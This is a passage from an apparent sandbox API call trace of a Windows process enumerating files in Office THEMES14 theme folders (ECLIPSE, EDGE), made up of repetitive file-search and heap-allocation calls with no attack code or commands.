dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0053.729] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefcab0 [0053.731] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefcab0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefcab0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.732] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefcab0) returned 1 [0053.732] NtClose (Handle=0x17c) returned 0x0 [0053.734] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0053.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0053.736] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefaa78 [0053.737] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0053.739] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.740] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0053.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.742] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.743] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefab80 [0053.745] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0053.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9c60 [0053.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefac88 [0053.747] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.747] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0053.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.749] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.750] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9c80 [0053.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefad90 [0053.753] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.753] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.755] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.756] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9ca0 [0053.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefae98 [0053.762] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.762] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.763] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.764] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9cc0 [0053.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefafa0 [0053.767] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.768] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.770] GetLastError () returned 0x12 [0053.772] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0053.773] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0053.775] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.776] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0053.776] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0053.776] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.777] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.778] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.779] GetLastError () returned 0x12 [0053.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefaa78) returned 1 [0053.780] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0053.782] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefab80) returned 1 [0053.783] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0053.783] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0053.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0053.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0053.794] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0053.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefcab0 [0053.796] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefcab0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefcab0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0053.797] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefcab0) returned 1 [0053.797] NtClose (Handle=0x170) returned 0x0 [0053.799] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0053.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0054.228] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.235] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.235] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0054.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9ce0 [0054.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefab80 [0054.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.235] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9d00 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefaa78 [0054.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.236] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9d20 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb0a8 [0054.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.236] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef9d40 [0054.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefb1b0 [0054.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.237] GetLastError () returned 0x12 [0054.237] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.237] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.237] GetLastError () returned 0x12 [0054.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0054.237] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.237] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, 